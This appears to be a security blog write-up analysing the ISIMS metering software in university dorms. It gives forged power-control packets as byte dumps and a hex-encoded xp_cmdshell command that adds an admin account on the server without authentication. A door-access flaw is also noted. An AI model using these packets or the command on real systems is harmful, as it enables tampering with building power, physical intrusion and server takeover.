騷操作 | 操控大樓燈光打遊戲
*本文原創作者:volcanohatred,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載
黑入電控系統然後操縱大樓燈光打遊戲是很多黑客電影所有的橋段,有人覺得現實中不可能實現。我想說這種東西實現起來很容易,要想操縱電力,無非是操縱智慧電控系統然後控制電力而已(當然不排除其他方法)。很多人可能會問,現實生活中不是都是機械開關麼?哪來的智慧電控系統,其實不然,智慧電控早已普遍存在,只是很多人不知道而已。
1. 智慧電控系統
智慧電控系統即對強電加入智慧弱電控制模組,從而達到對電力的控制和操作。近年來,很多大型企業、學校單位為了方便對電力的管理和收費,都引進了對樓宇的智慧電控系統。而且隨著網路化和智慧化的發展和普及,對智慧電控系統的布控在國內也成增長趨勢。國內做智慧電控系統的廠家很多,比如新開普的電控水電錶管理系統,常工電子的ISIMS智慧計量管理系統等。但是,智慧電子產品的應用越普及,意味著對安全的需求也越高,作為一個安全從業者,有必要對其產品的安全進行嚴格把控。
2. 對ISIMS智慧計量管理軟體的分析
在一次滲透測試中(正規測試,嘿嘿),拿到了某大學的電力控制伺服器許可權(智慧電控系統其實在公寓和大學裡面應用的很普遍),所以本文就以這臺伺服器上的ISIMS智慧計量管理軟體為研究物件,進行分析。ISIMS智慧計量管理軟體是常州股份公司開發的產品,因為它的方便性和智慧性,使得國內很多大學都在用它來進行學生宿舍的計費和控制。ISIMS智慧計量管理軟體屬於註冊商用軟體,所以網上是沒有下載的。閒的無聊去公司官網看了看,發現應用案例還挺多。
話不多說,開始分析吧!!!
注:此研究軟體的版本
客戶端 Sims v3.23.15
服務端 Simserv v3.24.01
2.1 工作模式
ISIMS的工作模式如下圖:
client(tcp client)—>server(tcp server)—>中位機(tcp client) 2.2 傳輸資料分析
用WPE對客戶端的資料進行抓包分析。
A使用者登陸資料包:
電力控制資料包:
A使用者登出資料包:
開關成功返回資料:
經過對資料包進行大致分析,發現傳送的資料均沒有進行加密處理,而且發現客戶端傳送的資料並無時效性,這樣偽造資料包顯得輕而易舉。另外,對電力的控制資料包大小固定,為543位元組,如果控制命令成功執行,則返回一個29位元組的資料包,否則返回一個21位元組大小的資料包。但是要想偽造資料包對某個特定房間進行開關電,則需要對電力控制的那個大小為543位元組的資料包進行解析才能隨意構造。A使用者對某個房間開資料,發往伺服器:
00 00 00 07 00 00 00 AA 00 00 00 94 00 00 00 00 00 00 02 0B 01 2E 00 00 00 02 08 00 00 00 33 04 10 37 33 02 F3 00 00 00 00 00 00 69 0E 38 02 CD AB BA DC 00 00 00 00 00 00 00 00 69 0E 38 02 AC F9 18 00 C8 F9 18 00 30 02 17 76 B8 6B 44 06 14 FA 18 00 91 6D 10 76 51 6D 10 76 75 DE 87 6E 00 00 00 00 4A 03 03 00 B8 6B 44 06 24 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 FF FF FF FF FF FF FF FF E9 6C 10 76 91 6D 10 76 0C FA 18 00 01 00 00 00 00 00 00 00 7C 5E 43 06 B8 F9 18 00 60 FA 18 00 60 FA 18 00 1E A6 16 76 39 49 8F 18 FE FF FF FF 51 6D 10 76 E8 6D 10 76 00 00 00 00 69 0E 38 02 4A 03 03 00 99 01 00 00 03 00 00 00 00 00 00 00 48 22 F2 00 F3 6D 10 76 11 DE 87 6E 99 01 00 00 00 00 00 00 B8 6B 44 06 04 00 00 00 B8 C7 4B 00 7C 5E 43 06 3C FA 18 00 B8 6B 44 06 BC FA 18 00 1E A6 16 76 99 49 8F 18 FE FF FF FF F3 6D 10 76 44 6E 10 76 20 22 F2 00 DA F8 2C 77 57 6E 10 76 94 FA 18 00 18 00 00 00 00 00 00 00 20 22 F2 00 7C 5E 43 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 FB 18 00 1A 01 2C 77 C4 FA 18 00 00 00 00 00 9C FB 18 00 80 00 2C 77 20 22 F2 00 00 00 00 00 99 01 00 00 03 00 00 00 00 00 00 00 69 0E 38 02 D2 25 2E 77 04 00 00 00 B9 72 10 76 61 21 11 76 4A 03 03 00 99 01 00 00 03 00 00 00 00 00 00 00 00 00 00 00 B1 02 00 00 01 00 00 00 00 00 00 00 99 01 00 00 B8 6B 44 06 00 00 00 00 AC FD 18 00 4A 03 03 00 00 00 00 00 48 FB 18 00 7A 61 11 76 20 22 F2 00 00 00 00 00 69 0E 38 02 03 00 00 00 00 00 00 00 01 00 00 00 03 00 00 00 BC FB 18 00 8F 85 47 00 4A 03 03 00 99 01 00 00 03 00 00 00 F7 3C 40 00 03 00 00 00 7C 5E 43 06 B8 62 51 00 B8 6B 44 06 03 00 00 00 03 00 00 00 B8 6B 44 00
看著挺沒頭緒,去伺服器看看。
伺服器發往中位機的資料:(對服務端進行抓包)
7D 33 04 10 37 33 02 F3 00 AB EA 7F 2.3 逆向分析
ISIMS客戶端由3個 動態連結庫檔案、1個配置檔案和1個可執行檔案組成。分別是CtoS.dll,midas.dll,Mwic_32.dll,SimsClient.ini,SIMS.exe。SimsClient.ini裡面是一些伺服器ip,埠的資訊,所以目的是對3個 動態連結庫檔案和可執行檔案進行逆向分析。SIMS.exe無殼,由Delphi編寫。
Send函式位於CtoS.dll中,下條件斷點使之傳送的資料大小為21F(543)時斷下:
在返回點下斷找呼叫函式,以此往上找原資料組成:
通過對資料的拆分,發現543位元組大小的資料由3部分組成,前23位元組的資料加16位元組資料再加後面的資料。
2.4 分析總結
發往伺服器的543位元組的資料中,前39位元組為關鍵資料,後面的資料為無用資料,在前39個位元組中後面的9位最為關鍵:
00 00 00 07 00 00 00 AA 00 00 00 94 00 00 00 00 00 00 02 0B 01 2E 00 00 00 02 08 00 00 00 33 04 10 37 33 02 F3 00 00
33為分隔字元,04位代表樓層編號,10代表中位機號,37為埠號,02 F3 為開電功能位。即:管理器地址+中位機地址+48加埠號》》》》轉化成16進位制。彙編程式碼如下:
客戶端啟動之後會向伺服器傳送資料庫查詢指令,伺服器會返回各棟樓各個中位機和房間埠的資料,放在某段記憶體之中,以便傳送和接收資料呼叫。所以,得出結論,要想操縱大樓燈光打遊戲就是對控制資料包的前39個位元組中的後9位進行構造,然後編寫演算法以達到目的。
3. 偽造資料包對寢室電力進行控制 3.1 偽造資料開關目標房間
初步的設計思路為編寫tcp客戶端向電控伺服器傳送登陸請求,然後偽造資料發包,最後登出使用者,C程式碼如下:
上面程式碼中禁用nagel演算法很關鍵,不禁用資料會先放到緩衝區,然後等到一定大小才會傳送,這樣傳送到伺服器的資料包會是一個粘在一起的包含登陸控制登出程式碼的資料包,伺服器不會識別。
測試:發現目標房間開關電成功。
(視訊沒法傳,本來想傳gif,結果不行,所以截了幾張圖。)
3.2 操縱大樓燈光打遊戲的可行性
既然我們已經分析了關鍵資料實現了對某個房間的開關,那就可以實現對整棟樓房間的開關。但是要想用燈光打遊戲,需要考慮的是延遲性和伺服器的處理能力,後來我做了相關測試,發現延遲性太高和伺服器處理能力不足的問題都有出現:同時傳送三個房間的開資料會出現一個房間未能開電。
這裡提供一個思路:可以改變程式碼的執行路徑,改變ISIMS的工作模式:
直接寫一個伺服器程式向中位機發包(需要在中位機web服務上新增本機ip,設定埠然後向中位機發送構造的資料包),問題得到解決。原理和上面相同。現在要考慮的就只有遊戲程式碼和與房間資料包互動的問題了。(本文在此不考慮)
4. 漏洞挖掘
測試發現客戶端在未傳送登陸資料的情況下,傳送控制程式碼依然可以控制目標房間的電力,也就是說只要建立3次握手連線就可以傳送控制程式碼。而在未傳送登陸資料的情況下發送登出程式碼在伺服器日誌上會被記錄為sa使用者已退出,初步推斷此係統存在邏輯錯誤:傳送的資料在未驗證身份的情況下預設以sa許可權執行。
在之前的OD中看到有資料庫執行命令,在客戶端中,當用戶點選查詢指令時,客戶端會向伺服器傳送這段資料庫查詢語句:
在之前的滲透測試中,發現伺服器使用的是SQLserver資料庫,既然伺服器對傳送的資料驗證不嚴格,可以試著構造惡意資料庫命令新增系統使用者試試。再次對傳送的資料測試分析發現,在執行資料庫命令時,資料包前18位不發生改變:
0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x55,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00
第18、19位用來表示後面要執行的sql語句的欄位大小,現在構造一條新增系統使用者的語句:
exec master..xp_cmdshell 'net user admin admin /add'
轉化位16進位制:
0x65,0x78,0x65,0x63,0x20,0x6d,0x61,0x73,0x74,0x65,0x72,0x2e,0x2e,0x78,0x70,0x5f,0x63,0x6d,0x64,0x73,0x68,0x65,0x6c,0x6c,0x20,0x27,0x6e,0x65,0x74,0x20,0x75,0x73,0x65,0x72,0x20,0x61,0x64,0x6d,0x69,0x6e,0x20,0x61,0x64,0x6d,0x69,0x6e,0x20,0x2f,0x61,0x64,0x64,0x27,0x00(總共53位)
再加上前面的20位字首:
0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x55,0x00,0x00,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0X35
將構造的資料通過tcp客戶端傳送給伺服器:
伺服器成功新增新使用者!
5. 擴充套件測試
上面做了對電力系統的測試,後來我對門禁系統也同樣進行了測試,也發現了同樣的問題,對資料包的驗證同樣無時效性,下圖為向某個下屬刷卡門進行測試:返回1,代表開門成功,門禁系統這裡不做討論。
可以看出在內網之中各種基礎設施和系統的脆弱性!!!原因是企業單位往往只是滿足於系統的功能性,只要能用就ok,而全然不顧系統的安全性,往往部署完系統,只要能夠正常執行,就不再對系統進行升級或者安全檢查,這給整個內網早成了很大的安全隱患。
6.後續
這篇文章寫的很早,一直沒發過,最近發出來給大家看看,當然本文涉及的技術很膚淺,大佬勿噴,第一次發文章,錯誤難免,大家見諒!!